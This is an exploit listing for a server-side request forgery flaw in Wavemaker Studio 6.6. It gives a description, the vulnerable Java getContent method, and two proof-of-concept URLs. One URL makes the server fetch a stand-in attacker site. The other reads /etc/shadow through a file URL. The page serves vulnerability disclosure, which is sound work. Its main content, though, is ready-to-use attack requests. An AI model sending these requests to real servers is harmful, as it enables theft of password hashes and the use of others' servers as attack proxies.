Wavemaker studio 6.6 serverside request forgery Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-08-06 | Type : webapps | Platform : java
This exploit / vulnerability Wavemaker studio 6.6 serverside request forgery is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Wavemaker Studio 6.6 - Server-Side Request Forgery (SSRF).
# Exploit Author: Gionathan "John" Reale
# Google Dork: N/A
# Date: 2018-08-01
# Vendor Homepage: http://www.wavemaker.com/
# Software Link: https://github.com/cloudjee/wavemaker/blob/master/wavemaker/wavemaker-studio/
# Affected Version: 6.6
# Tested on: Parrot OS
# CVE : 2019-8982

# Description
# Wavemaker Studio 6.6 contains an exploitable unvaildated parameter allowing an
# attacker to pass dangerous content to a victim via a phishing link. The vulnerability
# can also be exploited to access sensitive data or to use the server hosting Wavemaker
# as a form of HTTP proxy among other things.

# Proof Of Concept
http://xxxx.xxxxx:xxxx/wavemaker/studioService.download?method=getContent&inUrl=http://attackersite.com/
http://xxxx.xxxxx:xxxx/wavemaker/studioService.download?method=getContent&inUrl=file///etc/shadow

# Vulnerable Code
# /wavemaker-studio/services/studioService/src/com/wavemaker/studio/StudioService.java

# Line 419-430
@ExposeToClient
public String getContent(String inUrl) throws IOException {
try {
String str = getRemoteContent(inUrl);
str = str.replace("<head>", "<head><base href='" + inUrl
+ "' /><base target='_blank' /><script>top.studio.startPageIFrameLoaded();</script>");
return str;
} catch (Exception e) {
return "";
}
}